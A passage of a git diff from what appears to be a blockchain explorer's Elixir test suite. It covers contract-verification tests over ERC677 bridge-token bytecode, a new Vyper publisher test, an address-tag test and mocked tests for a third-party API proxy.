dd0818d85b1b0819985a5b195960621b604482015290519081900360640190fd5b50600195945050505050565b6000610ddd33611133565b610e2e576040805162461bcd60e51b815260206004820152601860248201527f63616c6c6572206973206e6f7420746865206272696467650000000000000000604482015290519081900360640190fd5b610e388383612039565b6040805183815290516001600160a01b038516917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a250600192915050565b600d602052600090815260409020546001600160a01b031681565b604051806040016040528060018152602001603160f81b81525081565b610ec061119d565b610eff576040805162461bcd60e51b8152602060048201819052602482015260008051602061273b833981519152604482015290519081900360640190fd5b806001600160a01b03811615801590610f2157506001600160a01b0381163014155b610f6a576040805162461bcd60e51b81526020600482015260156024820152741b9bdd0818481d985b1a59081c9958da5c1a595b9d605a1b604482015290519081900360640190fd5b6001600160a01b038316610fe8576040513031906001600160a01b0384169082156108fc029083906000818181858888f19350505050610fe2578083604051610fb290612621565b6001600160a01b039091168152604051908190036020019082f080158015610fde573d6000803e3d6000fd5b5050505b5061107e565b604080516370a0823160e01b8152306004820152905184916000916001600160a01b038416916370a08231916024808301926020929190829003018186803b15801561103357600080fd5b505afa158015611047573d6000803e3d6000fd5b505050506040513d602081101561105d57600080fd5b5051905061107b6001600160a01b038316858363ffffffff61212b16565b50505b505050565b600c546001600160a01b031681565b6001600160a01b031660009081526001602052604090205490565b6110b561119d565b6110f4576040805162461bcd60e51b8152602060048201819052602482015260008051602061273b833981519152604482015290519081900360640190fd5b6040805162461bcd60e51b815260206004820152600f60248201526e1b9bdd081a5b5c1b195b595b9d1959608a1b604482015290519081900360640190fd5b60006001600160a01b038281161480159061116757506001600160a01b038281166000908152600d60205260409020541615155b92915050565b600b546001600160a01b031681565b60086020526000908152604090205481565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b8415806111c25750846111bf61217d565b11155b611204576040805162461bcd60e51b815260206004820152600e60248201526d696e76616c69642065787069727960901b604482015290519081900360640190fd5b600754604080517fea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb6020808301919091526001600160a01b03808d16838501528b166060830152608082018a905260a0820189905287151560c0808401919091528351808403909101815260e08301845280519082012061190160f01b610100840152610102830194909452610122808301949094528251808303909401845261014282018084528451948201949094206000909452610162820180845284905260ff87166101828301526101a282018690526101c2820185905291516001926101e2808401939192601f1981019281900390910190855afa15801561130e573d6000803e3d6000fd5b505050602060405103516001600160a01b0316896001600160a01b03161461137d576040805162461bcd60e51b815260206004820152601f60248201527f696e76616c6964207369676e6174757265206f7220706172616d657465727300604482015290519081900360640190fd5b6001600160a01b038916600090815260086020526040902080546001810190915587146113e1576040805162461bcd60e51b815260206004820152600d60248201526c696e76616c6964206e6f6e636560981b604482015290519081900360640190fd5b6000856113ef5760006113f3565b6000195b90506114008a8a836119ad565b8561140c57600061140e565b865b6001600160a01b039a8b1660009081526009602090815260408083209c909d1682529a909a5299909820989098555050505050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ae25780601f10610ab757610100808354040283529160200191610ae2565b6114af61119d565b6114ee576040805162461bcd60e51b8152602060048201819052602482015260008051602061273b833981519152604482015290519081900360640190fd5b6032600e541061152f5760405162461bcd60e51b81526004018080602001828103825260288152602001806127816028913960400191505060405180910390fd5b611541816001600160a01b0316611e46565b61158b576040805162461bcd60e51b81526020600482015260166024820152756e6f74206120636f6e7472616374206164647265737360501b604482015290519081900360640190fd5b61159481611133565b156115de576040805162461bcd60e51b815260206004820152601560248201527462726964676520616c72656164792065786973747360581b604482015290519081900360640190fd5b6001600160a01b036000819052600d6020526000805160206126cb833981519152541680611653576040805162461bcd60e51b815260206004820152601c60248201527f666972737420627269646765206973207a65726f206164647265737300000000604482015290519081900360640190fd5b600d6020526000805160206126cb83398151915280546001600160a01b03199081166001600160a01b038581169182179093556000908152604090208054909116918316919091179055600e546116ab906001611de5565b600e556040516001600160a01b038316907f3cda433c5679ae4c6a5dea50840e222a42cba3695e4663de4366be899348422190600090a25050565b606080600e54604051908082528060200260200182016040528015611715578160200160208202803883390190505b506001600160a01b036000818152600d6020526000805160206126cb83398151915254929350911680611784576040805162461bcd60e51b81526020600482015260126024820152711e995c9bc81859191c995cdcc8199bdd5b9960721b604482015290519081900360640190fd5b6001600160a01b038181161461182257808383815181106117a157fe5b6001600160a01b039283166020918202929092018101919091529181166000908152600d90925260409091205460019290920191168061181d576040805162461bcd60e51b81526020600482015260126024820152711e995c9bc81859191c995cdcc8199bdd5b9960721b604482015290519081900360640190fd5b611784565b509091505090565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610af9918590610c2d908663ffffffff61195016565b60006118728383611a99565b610af9338484611c2c565b61107e338383610b8d565b611893838383610b8d565b50505050565b6001600160a01b0381565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61107e823383610b8d565b6118e261119d565b611921576040805162461bcd60e51b8152602060048201819052602482015260008051602061273b833981519152604482015290519081900360640190fd5b61192a81612181565b50565b600e5481565b600960209081526000928352604080842090915290825290205481565b6000828211156119a7576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6001600160a01b0383166119f25760405162461bcd60e51b81526004018080602001828103825260248152602001806127ce6024913960400191505060405180910390fd5b6001600160a01b038216611a375760405162461bcd60e51b81526004018080602001828103825260228152602001806126a96022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600a546000906001600160a01b0316331480611abf5750600b546001600160a01b031633145b80611ad45750600c546001600160a01b031633145b15611b885733600090815260016020526040902054611af9908363ffffffff61195016565b33600090815260016020526040808220929092556001600160a01b03851681522054611b2b908363ffffffff611de516565b6001600160a01b0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001611b95565b611b928383612221565b90505b8061107e576040805162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b6000611be684848461222e565b905080611893576040805162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b611c3e826001600160a01b0316611e46565b8015611c655750604080516000815260208101909152611c6390849084908490611e4c565b155b1561107e57611c7382611133565b15611caf5760405162461bcd60e51b81526004018080602001828103825260258152602001806127166025913960400191505060405180910390fd5b600a546001600160a01b0383811691161415611cfc5760405162461bcd60e51b815260040180806020018281038252602b8152602001806126eb602b913960400191505060405180910390fd5b600b546001600160a01b0383811691161415611d495760405162461bcd60e51b815260040180806020018281038252602e815260200180612849602e913960400191505060405180910390fd5b600c546001600160a01b0383811691161415611d965760405162461bcd60e51b815260040180806020018281038252602d81526020018061281c602d913960400191505060405180910390fd5b604080516001600160a01b0380861682528416602082015280820183905290517f11249f0fc79fc134a15a10d1da8291b79515bf987e036ced05b9ec119614070b9181900360600190a1505050565b600082820183811015611e3f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3b151590565b6000606060405180606001604052806026815260200161275b6026913990506000856001600160a01b03168288878760405160240180846001600160a01b03166001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611ed9578181015183820152602001611ec1565b50505050905090810190601f168015611f065780820380516001836020036101000a031916815260200191505b50945050505050604051602081830303815290604052906040518082805190602001908083835b60208310611f4c5780518252601f199092019160209182019101611f2d565b51815160001960209485036101000a01908116901991909116179052604080519490920184900390932092860180516001600160e01b03166001600160e01b031990941693909317835251855190945084935090508083835b60208310611fc45780518252601f199092019160209182019101611fa5565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612026576040519150601f19603f3d011682016040523d82523d6000602084013e61202b565b606091505b509098975050505050505050565b6001600160a01b038216612094576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6003546120a7908263ffffffff611de516565b6003556001600160a01b0382166000908152600160205260409020546120d3908263ffffffff611de516565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261107e908490612325565b4290565b6001600160a01b0381166121c65760405162461bcd60e51b81526004018080602001828103825260268152602001806126836026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610af93384846124dd565b600061223b8484846124dd565b6001600160a01b0384163314610ba557600061225785336118a4565b9050600019811461227c576122778533610c2d848763ffffffff61195016565b61231f565b6001600160a01b038516600090815260096020908152604080832033845290915290205415806122d657506122af61217d565b6001600160a01b038616600090815260096020908152604080832033845290915290205410155b61231f576040805162461bcd60e51b8152602060048201526015602482015274195e1c1a5c9e481a5cc81a5b881d1a19481c185cdd605a1b604482015290519081900360640190fd5b50610ba5565b612337826001600160a01b0316611e46565b612388576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106123c65780518252601f1990920191602091820191016123a7565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612428576040519150601f19603f3d011682016040523d82523d6000602084013e61242d565b606091505b509150915081612484576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115611893578080602001905160208110156124a057600080fd5b50516118935760405162461bcd60e51b815260040180806020018281038252602a8152602001806127f2602a913960400191505060405180910390fd5b6001600160a01b0383166125225760405162461bcd60e51b81526004018080602001828103825260258152602001806127a96025913960400191505060405180910390fd5b6001600160a01b0382166125675760405162461bcd60e51b81526004018080602001828103825260238152602001806126606023913960400191505060405180910390fd5b6001600160a01b038316600090815260016020526040902054612590908263ffffffff61195016565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546125c5908263ffffffff611de516565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60328061262e8339019056fe60806040526040516032380380603283398181016040526020811015602357600080fd5b50516001600160a01b038116fffe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373a934977eb9828ba1f50591af02c98441645b4f0e916e0fecb4cc8e9c633dade2796f752063616e2774207472616e7366657220746f20446973747269627574696f6e20636f6e7472616374796f752063616e2774207472616e7366657220746f2062726964676520636f6e74726163744f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726f6e546f6b656e5472616e7366657228616464726573732c75696e743235362c62797465732963616e277420616464206f6e65206d6f7265206272696467652064756520746f2061206c696d697445524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564796f752063616e2774207472616e7366657220746f2041647669736f727352657761726420636f6e7472616374796f752063616e2774207472616e7366657220746f20507269766174654f66666572696e6720636f6e7472616374a265627a7a72305820fbfacd4b36dace16f9fd57104c8aafe8b5a519b29f407207baf7bb6b917422a764736f6c634300050a0032" - - contract_address = insert(:contract_address, contract_code: deployed_bytecode) - - input_data = %Data{ - bytes: Base.decode16!(input, case: :lower) - } - - :transaction - |> insert(created_contract_address_hash: contract_address.hash, input: input_data) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => source_code, - "compiler_version" => "v0.5.10+commit.5a6ea5b1", - "evm_version" => "default", - "name" => "ERC677MultiBridgeToken", - "optimization" => true, - "optimization_runs" => 200, - "autodetect_constructor_args" => true - } - - assert {:ok, - %{ - abi: abi, - constructor_arguments: - "00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000348448061f604f4adf7ba714460c03cc6eb5b9f4000000000000000000000000348448061f604f4adf7ba714460c03cc6eb5b9f4000000000000000000000000348448061f604f4adf7ba714460c03cc6eb5b9f40000000000000000000000000000000000000000000000000000000000000003717765000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000037177650000000000000000000000000000000000000000000000000000000000" - }} = Verifier.evaluate_authenticity(contract_address.hash, params) - - assert abi != nil + :transaction + |> insert(created_contract_address_hash: contract_address.hash, input: input_data) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => source_code, + "compiler_version" => "v0.5.10+commit.5a6ea5b1", + "evm_version" => "default", + "name" => "ERC677MultiBridgeToken", + "optimization" => true, + "optimization_runs" => @optimization_runs, + "autodetect_constructor_args" => true + } + + assert {:ok, + %{ + abi: abi, + constructor_arguments: + "00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000348448061f604f4adf7ba714460c03cc6eb5b9f4000000000000000000000000348448061f604f4adf7ba714460c03cc6eb5b9f4000000000000000000000000348448061f604f4adf7ba714460c03cc6eb5b9f40000000000000000000000000000000000000000000000000000000000000003717765000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000037177650000000000000000000000000000000000000000000000000000000000" + }} = Verifier.evaluate_authenticity(contract_address.hash, params) + + assert abi != nil + end end end end diff --git a/apps/explorer/test/explorer/smart_contract/vyper/publisher_test.exs b/apps/explorer/test/explorer/smart_contract/vyper/publisher_test.exs new file mode 100644 index 000000000000..42e96719d2fe --- /dev/null +++ b/apps/explorer/test/explorer/smart_contract/vyper/publisher_test.exs @@ -0,0 +1,84 @@ +if Application.compile_env(:explorer, :chain_type) !== :zksync do + defmodule Explorer.SmartContract.Vyper.PublisherTest do + use ExUnit.Case, async: true + + use Explorer.DataCase + + doctest Explorer.SmartContract.Vyper.Publisher + + @moduletag timeout: :infinity + + alias Explorer.Chain.{SmartContract} + alias Explorer.Factory + alias Explorer.SmartContract.Vyper.Publisher + + setup do + configuration = Application.get_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour) + Application.put_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, enabled: false) + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, configuration) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + end + + describe "publish/2" do + test "with valid data creates a smart_contract" do + contract_code_info = Factory.contract_code_info_vyper() + + contract_address = insert(:contract_address, contract_code: contract_code_info.bytecode) + + :transaction + |> insert(created_contract_address_hash: contract_address.hash, input: contract_code_info.tx_input) + |> with_block(status: :ok) + + valid_attrs = %{ + "contract_source_code" => contract_code_info.source_code, + "compiler_version" => contract_code_info.version, + "name" => contract_code_info.name + } + + response = Publisher.publish(contract_address.hash, valid_attrs) + assert {:ok, %SmartContract{} = smart_contract} = response + + assert smart_contract.address_hash == contract_address.hash + assert smart_contract.name == valid_attrs["name"] + assert smart_contract.compiler_version == valid_attrs["compiler_version"] + assert smart_contract.contract_source_code == valid_attrs["contract_source_code"] + assert is_nil(smart_contract.constructor_arguments) + assert smart_contract.abi == contract_code_info.abi + end + + test "allows to re-verify vyper contracts" do + contract_code_info = Factory.contract_code_info_vyper() + + contract_address = insert(:contract_address, contract_code: contract_code_info.bytecode) + + :transaction + |> insert(created_contract_address_hash: contract_address.hash, input: contract_code_info.tx_input) + |> with_block(status: :ok) + + valid_attrs = %{ + "contract_source_code" => contract_code_info.source_code, + "compiler_version" => contract_code_info.version, + "name" => contract_code_info.name + } + + response = Publisher.publish(contract_address.hash, valid_attrs) + assert {:ok, %SmartContract{}} = response + + updated_name = "AnotherContractName" + + valid_attrs = + valid_attrs + |> Map.put("name", updated_name) + + response = Publisher.publish(contract_address.hash, valid_attrs) + assert {:ok, %SmartContract{} = smart_contract} = response + + assert smart_contract.name == valid_attrs["name"] + end + end + end +end diff --git a/apps/explorer/test/explorer/smart_contract/writer_test.exs b/apps/explorer/test/explorer/smart_contract/writer_test.exs index ac95dfa918e5..5239df67ca54 100644 --- a/apps/explorer/test/explorer/smart_contract/writer_test.exs +++ b/apps/explorer/test/explorer/smart_contract/writer_test.exs @@ -230,14 +230,14 @@ defmodule Explorer.SmartContract.WriterTest do setup :verify_on_exit! describe "write_functions/1" do - test "fetches the smart contract write functions" do + test "fetches the smart contract write functions with provided smart_contract" do smart_contract = insert( :smart_contract, abi: @abi ) - response = Writer.write_functions(smart_contract.address_hash) + response = Writer.write_functions(smart_contract) assert [ %{ diff --git a/apps/explorer/test/explorer/tags/address_to_tag_test.exs b/apps/explorer/test/explorer/tags/address_to_tag_test.exs new file mode 100644 index 000000000000..c77230b52605 --- /dev/null +++ b/apps/explorer/test/explorer/tags/address_to_tag_test.exs @@ -0,0 +1,25 @@ +defmodule Explorer.Tags.AddressToTagTest do + use Explorer.DataCase + + alias Explorer.Repo + alias Explorer.Tags.AddressToTag + + describe "set_tag_to_addresses/2" do + test "does not remove existing address" do + address = insert(:address, hash: "0x3078000000000000000000000000000000000001") + address_hash = address.hash + tag = insert(:address_tag) + tag_id = tag.id + att = insert(:address_to_tag, tag_id: tag.id, tag: tag, address_hash: address.hash, address: address) + att_inserted_at = att.inserted_at + + :timer.sleep(100) + + AddressToTag.set_tag_to_addresses(tag.id, [to_string(address_hash)]) + + # timestamp should be the same, no need to delete and reinsert the same address + assert [%AddressToTag{tag_id: ^tag_id, address_hash: ^address_hash, inserted_at: ^att_inserted_at}] = + Repo.all(AddressToTag) + end + end +end diff --git a/apps/explorer/test/explorer/third_party_integrations/universal_proxy_test.exs b/apps/explorer/test/explorer/third_party_integrations/universal_proxy_test.exs new file mode 100644 index 000000000000..97867e1c53d6 --- /dev/null +++ b/apps/explorer/test/explorer/third_party_integrations/universal_proxy_test.exs @@ -0,0 +1,576 @@ +defmodule Explorer.ThirdPartyIntegrations.UniversalProxyTest do + use ExUnit.Case + + import Mox + + alias Explorer.ThirdPartyIntegrations.UniversalProxy + + setup :set_mox_from_context + setup :verify_on_exit! + + setup do + :persistent_term.erase(:universal_proxy_config) + System.put_env("UNIVERSAL_PROXY_TEST_PLATFORM_API_KEY", "test_api_key") + + on_exit(fn -> + System.put_env("UNIVERSAL_PROXY_TEST_PLATFORM_API_KEY", "") + end) + + :ok + end + + describe "api_request/1" do + test "successful API request" do + config_mock() + + Tesla.Test.expect_tesla_call( + times: 1, + returns: %Tesla.Env{ + status: 200, + body: Jason.encode!(%{"success" => true}) + } + ) + + proxy_params = %{"platform_id" => "test_platform"} + {_response_body, status} = UniversalProxy.api_request(proxy_params) + + assert status == 200 + end + + test "invalid platform configuration" do + config_mock() + proxy_params = %{"platform_id" => "nonexistent_platform"} + {error_message, status} = UniversalProxy.api_request(proxy_params) + + assert status == 422 + + assert error_message == + "Invalid config: Platform 'nonexistent_platform' not found in config or 'platforms' property doesn't exist at all" + end + + test "missing base_url in platform configuration" do + Tesla.Test.expect_tesla_call( + times: 1, + returns: %Tesla.Env{ + status: 200, + body: + Jason.encode!(%{ + "platforms" => %{ + "test_platform" => %{ + "endpoints" => %{ + "base" => %{ + "path" => "/test", + "method" => "get", + "params" => [] + } + }, + "api_key" => %{ + "location" => "header", + "param_name" => "Authorization", + "prefix" => "Bearer" + } + } + } + }) + } + ) + + proxy_params = %{"platform_id" => "test_platform"} + {error_message, status} = UniversalProxy.api_request(proxy_params) + + assert status == 422 + + assert error_message == + "Invalid config: 'base_url' is not defined for platform_id 'test_platform' or 'base' endpoint is not defined or 'base' endpoint path is not defined" + end + + test "invalid HTTP method" do + Tesla.Test.expect_tesla_call( + times: 1, + returns: %Tesla.Env{ + status: 200, + body: + Jason.encode!(%{ + "platforms" => %{ + "test_platform" => %{ + "base_url" => "https://api.test.com", + "endpoints" => %{ + "base" => %{ + "path" => "/test", + "method" => "invalid_method", + "params" => [] + } + }, + "api_key" => %{ + "location" => "header", + "param_name" => "Authorization", + "prefix" => "Bearer" + } + } + } + }) + } + ) + + proxy_params = %{"platform_id" => "test_platform"} + {error_message, status} = UniversalProxy.api_request(proxy_params) + + assert status == 422 + assert error_message == "Invalid config: Invalid HTTP request method for platform 'test_platform'" + end + + test "unexpected error during request" do + config_mock() + + Tesla.Test.expect_tesla_call( + times: 1, + returns: {:error, :timeout} + ) + + proxy_params = %{"platform_id" => "test_platform"} + {error_message, status} = UniversalProxy.api_request(proxy_params) + + assert status == 500 + assert error_message == "Unexpected error when calling proxied endpoint" + end + end + + describe "parse_proxy_params/2" do + test "correctly parsing address param in the path" do + Tesla.Test.expect_tesla_call( + times: 1, + returns: %Tesla.Env{ + status: 200, + body: + Jason.encode!(%{ + "platforms" => %{ + "test_platform" => %{ + "base_url" => "https://api.test.com", + "endpoints" => %{ + "base" => %{ + "path" => "/test/:address", + "method" => "get", + "params" => [ + %{ + "location" => "path", + "type" => "address" + } + ] + } + }, + "api_key" => %{ + "location" => "header", + "param_name" => "Authorization", + "prefix" => "Bearer" + } + } + } + }) + } + ) + + assert "https://api.test.com/test/0x95222290DD7278Aa3Ddd389Cc1E1d165CC4BAfe5" = + UniversalProxy.parse_proxy_params(%{ + "platform_id" => "test_platform", + "address" => "0x95222290DD7278Aa3Ddd389Cc1E1d165CC4BAfe5" + }).url + end + + test "correctly parsing address param and chain_id in the path" do + Tesla.Test.expect_tesla_call( + times: 1, + returns: %Tesla.Env{ + status: 200, + body: + Jason.encode!(%{ + "platforms" => %{ + "test_platform" => %{ + "base_url" => "https://api.test.com", + "endpoints" => %{ + "base" => %{ + "path" => "/test/:chain_id/:address", + "method" => "get", + "params" => [ + %{ + "location" => "path", + "type" => "address" + }, + %{ + "location" => "path", + "type" => "chain_id" + } + ] + } + }, + "api_key" => %{ + "location" => "header", + "param_name" => "Authorization", + "prefix" => "Bearer" + } + } + } + }) + } + ) + + assert "https://api.test.com/test/1/0x95222290DD7278Aa3Ddd389Cc1E1d165CC4BAfe5" = + UniversalProxy.parse_proxy_params(%{ + "platform_id" => "test_platform", + "address" => "0x95222290DD7278Aa3Ddd389Cc1E1d165CC4BAfe5", + "chain_id" => "1" + }).url + end + + test "correctly parsing chain_id - dependent param in the path when chain id is NOT present as param" do + Tesla.Test.expect_tesla_call( + times: 1, + returns: %Tesla.Env{ + status: 200, + body: + Jason.encode!(%{ + "platforms" => %{ + "test_platform" => %{ + "base_url" => "https://api.test.com", + "endpoints" => %{ + "base" => %{ + "path" => "/test/:endpoint_platform_id", + "method" => "get", + "params" => [ + %{ + "location" => "path", + "type" => "chain_id_dependent", + "name" => "endpoint_platform_id", + "mapping" => %{ + "1" => "first_endpoint_platform_id", + "100500" => "another_endpoint_platform_id" + } + } + ] + } + } + } + } + }) + } + ) + + assert "https://api.test.com/test/another_endpoint_platform_id" = + UniversalProxy.parse_proxy_params(%{ + "platform_id" => "test_platform", + "chain_id" => "100500" + }).url + end + + test "correctly parsing chain_id - dependent param in the path when chain id is present as param as well" do + Tesla.Test.expect_tesla_call( + times: 1, + returns: %Tesla.Env{ + status: 200, + body: + Jason.encode!(%{ + "platforms" => %{ + "test_platform" => %{ + "base_url" => "https://api.test.com", + "endpoints" => %{ + "base" => %{ + "path" => "/test/:endpoint_platform_id/:chain_id", + "method" => "get", + "params" => [ + %{ + "location" => "path", + "type" => "chain_id" + }, + %{ + "location" => "path", + "type" => "chain_id_dependent", + "name" => "endpoint_platform_id", + "mapping" => %{ + "1" => "first_endpoint_platform_id", + "100500" => "another_endpoint_platform_id" + } + } + ] + } + }, + "api_key" => %{ + "location" => "header", + "param_name" => "Authorization", + "prefix" => "Bearer" + } + } + } + }) + } + ) + + assert "https://api.test.com/test/another_endpoint_platform_id/100500" = + UniversalProxy.parse_proxy_params(%{ + "platform_id" => "test_platform", + "chain_id" => "100500" + }).url + end + + test "correctly parsing address param in the query string" do + Tesla.Test.expect_tesla_call( + times: 1, + returns: %Tesla.Env{ + status: 200, + body: + Jason.encode!(%{ + "platforms" => %{ + "test_platform" => %{ + "base_url" => "https://api.test.com", + "endpoints" => %{ + "base" => %{ + "path" => "/test", + "method" => "get", + "params" => [ + %{ + "location" => "query", + "type" => "address" + } + ] + } + }, + "api_key" => %{ + "location" => "header", + "param_name" => "Authorization", + "prefix" => "Bearer" + } + } + } + }) + } + ) + + assert "https://api.test.com/test?address=0x95222290DD7278Aa3Ddd389Cc1E1d165CC4BAfe5" = + UniversalProxy.parse_proxy_params(%{ + "platform_id" => "test_platform", + "address" => "0x95222290DD7278Aa3Ddd389Cc1E1d165CC4BAfe5" + }).url + end + + test "correctly parsing multiple params in the query string" do + Tesla.Test.expect_tesla_call( + times: 1, + returns: %Tesla.Env{ + status: 200, + body: + Jason.encode!(%{ + "platforms" => %{ + "test_platform" => %{ + "base_url" => "https://api.test.com", + "endpoints" => %{ + "base" => %{ + "path" => "/test", + "method" => "get", + "params" => [ + %{ + "location" => "query", + "type" => "address" + }, + %{ + "location" => "query", + "name" => "second_param", + "value" => "42" + } + ] + } + }, + "api_key" => %{ + "location" => "header", + "param_name" => "Authorization", + "prefix" => "Bearer" + } + } + } + }) + } + ) + + assert "https://api.test.com/test?address=0x95222290DD7278Aa3Ddd389Cc1E1d165CC4BAfe5&second_param=42" = + UniversalProxy.parse_proxy_params(%{ + "platform_id" => "test_platform", + "address" => "0x95222290DD7278Aa3Ddd389Cc1E1d165CC4BAfe5" + }).url + end + + test "correctly parsing address param in the request body" do + Tesla.Test.expect_tesla_call( + times: 1, + returns: %Tesla.Env{ + status: 200, + body: + Jason.encode!(%{ + "platforms" => %{ + "test_platform" => %{ + "base_url" => "https://api.test.com", + "endpoints" => %{ + "base" => %{ + "path" => "/test", + "method" => "post", + "params" => [ + %{ + "location" => "body", + "type" => "address" + } + ] + } + }, + "api_key" => %{ + "location" => "header", + "param_name" => "Authorization", + "prefix" => "Bearer" + } + } + } + }) + } + ) + + assert "address=0x95222290DD7278Aa3Ddd389Cc1E1d165CC4BAfe5&" = + UniversalProxy.parse_proxy_params(%{ + "platform_id" => "test_platform", + "address" => "0x95222290DD7278Aa3Ddd389Cc1E1d165CC4BAfe5" + }).body + end + + test "correctly parsing address param in the request header" do + Tesla.Test.expect_tesla_call( + times: 1, + returns: %Tesla.Env{ + status: 200, + body: + Jason.encode!(%{ + "platforms" => %{ + "test_platform" => %{ + "base_url" => "https://api.test.com", + "endpoints" => %{ + "base" => %{ + "path" => "/test", + "method" => "post", + "params" => [ + %{ + "location" => "header", + "type" => "address", + "name" => "X-Address" + } + ] + } + }, + "api_key" => %{ + "location" => "header", + "param_name" => "Authorization", + "prefix" => "Bearer" + } + } + } + }) + } + ) + + assert [{"X-Address", "0x95222290DD7278Aa3Ddd389Cc1E1d165CC4BAfe5"}, {"Authorization", "Bearer test_api_key"}] = + UniversalProxy.parse_proxy_params(%{ + "platform_id" => "test_platform", + "address" => "0x95222290DD7278Aa3Ddd389Cc1E1d165CC4BAfe5" + }).headers + end + + test "correctly apply api key to the headers" do + Tesla.Test.expect_tesla_call( + times: 1, + returns: %Tesla.Env{ + status: 200, + body: + Jason.encode!(%{ + "platforms" => %{ + "test_platform" => %{ + "base_url" => "https://api.test.com", + "endpoints" => %{ + "base" => %{ + "path" => "/test", + "method" => "post", + "params" => [] + } + }, + "api_key" => %{ + "location" => "header", + "param_name" => "X_API_KEY" + } + } + } + }) + } + ) + + assert [{"X_API_KEY", "test_api_key"}] = + UniversalProxy.parse_proxy_params(%{ + "platform_id" => "test_platform", + "address" => "0x95222290DD7278Aa3Ddd389Cc1E1d165CC4BAfe5" + }).headers + end + + test "correctly apply api key to the query string" do + Tesla.Test.expect_tesla_call( + times: 1, + returns: %Tesla.Env{ + status: 200, + body: + Jason.encode!(%{ + "platforms" => %{ + "test_platform" => %{ + "base_url" => "https://api.test.com", + "endpoints" => %{ + "base" => %{ + "path" => "/", + "method" => "get", + "params" => [] + } + }, + "api_key" => %{ + "location" => "query", + "param_name" => "api_key" + } + } + } + }) + } + ) + + assert "https://api.test.com/?api_key=test_api_key" = + UniversalProxy.parse_proxy_params(%{ + "platform_id" => "test_platform", + "address" => "0x95222290DD7278Aa3Ddd389Cc1E1d165CC4BAfe5" + }).url + end + end + + defp config_mock do + Tesla.Test.expect_tesla_call( + times: 1, + returns: %Tesla.Env{ + status: 200, + body: + Jason.encode!(%{ + "platforms" => %{ + "test_platform" => %{ + "base_url" => "https://api.test.com", + "endpoints" => %{ + "base" => %{ + "path" => "/test", + "method" => "get", + "params" => [] + } + }, + "api_key" => %{ + "location" => "header", + "param_name" => "Authorization", + "prefix" => "Bearer" + } + } + } + }) + } + ) + end +end diff --git a/apps/explorer/test/explorer/token/instance_metadata_retriever_test.exs b/apps/explorer/test/explorer/token/instance_metadata_retriever_test.exs deleted file mode 100644 index 3afe5c937f05..000000000000 --- a/apps/explorer/test/explorer/token/instance_metadata_retriever_test.exs +++ /dev/null @@ -1,191 +0,0 @@ -defmodule Explorer.Token.InstanceMetadataRetrieverTest do - use EthereumJSONRPC.Case - - alias Explorer.Token.InstanceMetadataRetriever - alias Plug.Conn - - import Mox - - setup :verify_on_exit! - setup :set_mox_global - - @abi [ - %{ - "type" => "function", - "stateMutability" => "view", - "payable" => false, - "outputs" => [ - 